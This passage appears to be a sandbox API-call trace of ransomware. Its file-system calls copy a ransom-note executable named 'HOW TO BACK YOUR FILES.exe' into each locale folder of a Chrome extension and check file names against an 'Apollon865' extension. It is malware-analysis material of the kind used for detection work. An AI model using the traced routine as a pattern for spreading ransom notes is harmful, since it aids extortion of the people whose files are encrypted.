	[0049.486] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ee5030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35901c10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35901c10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.486] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.486] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.486] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr"
	[0049.486] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr"
	[0049.487] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.487] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.490] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.490] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ee5030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35927d70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35927d70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.490] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.490] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.491] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil"
	[0049.491] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil"
	[0049.491] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.491] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.495] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.495] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ebeed0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35927d70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35927d70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.495] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.495] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.495] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi"
	[0049.495] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi"
	[0049.495] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.495] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.499] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.499] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ebeed0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35927d70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35927d70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.499] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.499] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.500] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu"
	[0049.500] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu"
	[0049.500] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.500] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.505] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.505] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ebeed0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x3594ded0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3594ded0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.505] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.505] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.505] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et"
	[0049.505] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et"
	[0049.505] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.505] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.509] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.509] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e98d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x3594ded0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3594ded0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.509] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.509] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.509] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419"
	[0049.509] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419"
	[0049.509] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.509] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.515] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.515] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e98d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x3594ded0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3594ded0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.515] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.515] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.515] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es"
	[0049.515] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es"
	[0049.515] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.515] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.522] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.522] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e98d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35974030, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35974030, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.522] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.522] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.522] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US"
	[0049.522] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US"
	[0049.522] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.522] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.698] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.698] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35aa4b30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35aa4b30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca490
	[0049.699] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.699] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.700] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB"
	[0049.700] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB"
	[0049.700] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
